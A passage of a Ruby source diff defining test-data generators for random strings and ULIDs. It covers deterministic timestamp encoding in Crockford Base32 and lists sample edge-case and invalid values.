def generate_random(rng, context, args)
|
|
333
|
+
len = (args[:length] || args[:value] || args[:n] || args[:size] || 32).to_i
|
|
334
|
+
len = 32 unless len.positive?
|
|
335
|
+
Array.new(len) { CHARS[rng.int(0, CHARS.length - 1)] }.join
|
|
336
|
+
end
|
|
337
|
+
|
|
338
|
+
def generate_edge(rng, context, args)
|
|
339
|
+
rng.sample(["A" * 32, "0" * 43, "Z" * 64])
|
|
340
|
+
end
|
|
341
|
+
|
|
342
|
+
def generate_invalid(rng, context, args)
|
|
343
|
+
rng.sample([nil, "", "short", "has space", 123])
|
|
344
|
+
end
|
|
345
|
+
end
|
|
346
|
+
|
|
347
|
+
# ULID type generator (time-sortable unique identifier)
|
|
348
|
+
#
|
|
349
|
+
# Generates ULID values with deterministic timestamps for reproducible
|
|
350
|
+
# output when using seeds.
|
|
351
|
+
#
|
|
352
|
+
# @example Generate ULID
|
|
353
|
+
# ulid_type = Ulid.new
|
|
354
|
+
# ulid_type.generate_random(rng, context, {})
|
|
355
|
+
# # => "01ARZ3NDEKTSV4RRFFQ69G5FAV"
|
|
356
|
+
#
|
|
357
|
+
class Ulid < Base
|
|
358
|
+
# Base32 encoding characters (Crockford's Base32, ULID-compatible)
|
|
359
|
+
BASE32_CHARS = "0123456789ABCDEFGHJKMNPQRSTVWXYZ"
|
|
360
|
+
|
|
361
|
+
# Generate a random ULID
|
|
362
|
+
#
|
|
363
|
+
# Creates a 26-character ULID with time-based sorting.
|
|
364
|
+
#
|
|
365
|
+
# @param rng [Generator::RNG] random number generator
|
|
366
|
+
# @param context [Generator::Context] generation context (not used)
|
|
367
|
+
# @param args [Hash] type arguments (not used)
|
|
368
|
+
# @return [String] 26-character ULID string
|
|
369
|
+
#
|
|
370
|
+
# @example
|
|
371
|
+
# generate_random(rng, context, {})
|
|
372
|
+
# # => "01ARZ3NDEKTSV4RRFFQ69G5FAV"
|
|
373
|
+
#
|
|
374
|
+
def generate_random(rng, context, args)
|
|
375
|
+
# ULID = 10 chars timestamp + 16 chars randomness
|
|
376
|
+
# Use deterministic timestamp from RNG for reproducible output
|
|
377
|
+
# Base time is 2020-01-01, add random offset up to 10 years
|
|
378
|
+
base_time = Time.utc(2020, 1, 1).to_i * 1000 # Base in milliseconds
|
|
379
|
+
days_offset = rng.int(0, 365 * 10) * 86_400 * 1000 # 10 years range
|
|
380
|
+
milliseconds_offset = rng.int(0, 86_399_999) # Random milliseconds within day
|
|
381
|
+
timestamp_ms = base_time + days_offset + milliseconds_offset
|
|
382
|
+
|
|
383
|
+
# Encode timestamp (10 chars)
|
|
384
|
+
time_part = encode_time(timestamp_ms)
|
|
385
|
+
|
|
386
|
+
# Generate random part (16 chars)
|
|
387
|
+
random_part = 16.times.map { rng.sample(BASE32_CHARS.chars) }.join
|
|
388
|
+
|
|
389
|
+
"#{time_part}#{random_part}"
|
|
390
|
+
end
|
|
391
|
+
|
|
392
|
+
# Generate edge case ULID values
|
|
393
|
+
#
|
|
394
|
+
# @param rng [Generator::RNG] random number generator
|
|
395
|
+
# @param context [Generator::Context] generation context
|
|
396
|
+
# @param args [Hash] type arguments (not used)
|
|
397
|
+
# @return [String] edge case ULID
|
|
398
|
+
#
|
|
399
|
+
def generate_edge(rng, context, args)
|
|
400
|
+
rng.sample(%w[
|
|
401
|
+
00000000000000000000000000
|
|
402
|
+
7ZZZZZZZZZZZZZZZZZZZZZZZZZ
|
|
403
|
+
01ARZ3NDEKTSV4RRFFQ69G5FAV
|
|
404
|
+
])
|
|
405
|
+
end
|
|
406
|
+
|
|
407
|
+
# Generate invalid ULID values
|
|
408
|
+
#
|
|
409
|
+
# @param rng [Generator::RNG] random number generator
|
|
410
|
+
# @param context [Generator::Context] generation context
|
|
411
|
+
# @param args [Hash] type arguments (not used)
|
|
412
|
+
# @return [Object] invalid ULID value
|
|
413
|
+
#
|
|
414
|
+
def generate_invalid(rng, context, args)
|
|
415
|
+
rng.sample([
|
|
416
|
+
"not-a-ulid",
|
|
417
|
+
nil,
|
|
418
|
+
123,
|
|
419
|
+
""
|
|
420
|
+
])
|
|
421
|
+
end
|
|
422
|
+
|
|
423
|
+
private
|
|
424
|
+
|
|
425
|
+
# Encode timestamp as ULID time component
|
|
426
|
+
#
|
|
427
|
+
# Converts milliseconds since Unix epoch into 10-character
|
|
428
|
+
# Base32-encoded string.
|
|
429
|
+
#
|
|
430
|
+
# @param ms [Integer] milliseconds since Unix epoch
|
|
431
|
+
# @return [String] 10-character time component
|
|
432
|
+
#
|
|
433
|
+
def encode_time(ms)
|
|
434
|
+
result = ""
|
|
435
|
+
value = ms
|
|
436
|
+
10.times do
|
|
437
|
+
result = BASE32_CHARS[value % 32] + result
|
|
438
|
+
value /= 32
|
|
439
|
+
end
|
|
440
|
+
result
|
|
441
|
+
end
|
|
442
|
+
end
|
|
443
|
+
end
|
|
444
|
+
end
|
|
445
|
+
end
|